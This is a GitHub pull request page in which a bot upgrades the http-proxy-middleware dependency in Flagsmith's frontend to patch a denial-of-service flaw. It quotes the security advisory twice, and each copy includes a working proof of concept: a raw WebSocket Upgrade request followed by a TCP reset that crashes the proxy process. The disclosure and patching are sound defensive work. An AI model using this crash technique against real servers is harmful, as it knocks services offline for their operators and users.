Skip to content

deps(Frontend): Update dependency http-proxy-middleware to v3.0.11 [SECURITY] - #9212

Open
flagsmith-engineering[bot] wants to merge 1 commit into
mainfrom
renovate/npm-http-proxy-middleware-vulnerability
Open

flagsmith-engineering[bot] wants to merge 1 commit into
mainfrom
renovate/npm-http-proxy-middleware-vulnerability

Conversation

@flagsmith-engineering

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
http-proxy-middleware 3.0.10 → 3.0.11 age confidence

http-proxy-middleware: Unauthenticated remote gateway crash via an Upgrade request to a path outside pathFilter followed by a TCP RST (ws: true)

CVE-2026-140102 / GHSA-hvp5-3mrg-q5hg

More information

Details

Proof of concept
  1. run gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";

const neverTrigger = () => console.log("neverTrigger");

const proxy = createProxyMiddleware({
  target: "http://example.com",
  pathFilter: "/ws",
  ws: true,
  on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
  req,
  res,
  () => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
  1. run client.js
import net from "net";

const socket = net.connect(5056, "127.0.0.1", () => {
  socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
  setTimeout(() => socket.resetAndDestroy(), 100);
});
  1. gateway process crash
node:events:505
    throw er; // Unhandled 'error' event
    ^

Error: read ECONNRESET
    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
  errno: -54,
  code: 'ECONNRESET',
  syscall: 'read'
}

Node.js v24.22.3
Impact

A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


http-proxy-middleware: Unauthenticated remote gateway crash via an Upgrade request to a path outside pathFilter followed by a TCP RST (ws: true)

CVE-2026-140102 / GHSA-hvp5-3mrg-q5hg

More information

Details

Proof of concept
  1. run gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";

const neverTrigger = () => console.log("neverTrigger");

const proxy = createProxyMiddleware({
  target: "http://example.com",
  pathFilter: "/ws",
  ws: true,
  on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
  req,
  res,
  () => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
  1. run client.js
import net from "net";

const socket = net.connect(5056, "127.0.0.1", () => {
  socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
  setTimeout(() => socket.resetAndDestroy(), 100);
});
  1. gateway process crash
node:events:505
    throw er; // Unhandled 'error' event
    ^

Error: read ECONNRESET
    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
  errno: -54,
  code: 'ECONNRESET',
  syscall: 'read'
}

Node.js v24.22.3
Impact

A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

chimurai/http-proxy-middleware (http-proxy-middleware)

v3.0.11

Compare Source

What's Changed

Full Changelog: chimurai/http-proxy-middleware@v3.0.10...v3.0.11


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@flagsmith-engineering
flagsmith-engineering Bot requested a review from a team as a code owner December 2, 2026 03:18
@flagsmith-engineering flagsmith-engineering Bot added dependencies Pull requests that update a dependency file front-end Issue related to the React Front End Dashboard labels Dec 2, 2026
@flagsmith-engineering
flagsmith-engineering Bot removed the request for review from a team December 2, 2026 03:18
@vercel

vercel Bot commented Dec 2, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
flagsmith-frontend-preview Ready Ready Preview Dec 3, 2026 3:19am UTC
flagsmith-frontend-staging Ready Ready Preview Dec 3, 2026 3:19am UTC
1 Skipped Deployment
Project Deployment Actions Updated
docs Ignored Ignored Preview Dec 3, 2026 3:19am UTC

Request Review

@flagsmith-engineering
flagsmith-engineering Bot force-pushed the renovate/npm-http-proxy-middleware-vulnerability branch from bfa8d4a to 5070eb4 Compare December 3, 2026 03:18
@flagsmith-engineering flagsmith-engineering Bot changed the title deps(frontend): update dependency http-proxy-middleware to v3.0.11 [security] deps(Frontend): Update dependency http-proxy-middleware to v3.0.11 [SECURITY] Dec 3, 2026
@github-actions

github-actions Bot commented Dec 3, 2026 •

Copy link
Copy Markdown
Contributor
✅ oss · depot-ubuntu-latest-arm-16 — run #24084 (attempt 1)

Playwright Test Results (oss - depot-ubuntu-latest-arm-16)

passed  2 passed

Details

stats  2 tests across 2 suites
duration  35.2 seconds
commit  5070eb4
info  🔄 Run: #24084 (attempt 1)

🗂️ Previous results
✅ oss · depot-ubuntu-latest-16 — run #24084 (attempt 1)

Playwright Test Results (oss - depot-ubuntu-latest-16)

passed  1 passed

Details

stats  1 test across 1 suite
duration  31.1 seconds
commit  5070eb4
info  🔄 Run: #24084 (attempt 1)

This branch was successfully deployed

2 active deployments
Preview – flagsmith-frontend-preview — 5070eb44 Deployed Dec 3, 2026 by vercel[bot]
Preview – flagsmith-frontend-staging — 5070eb44 Deployed Dec 3, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file front-end Issue related to the React Front End Dashboard

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants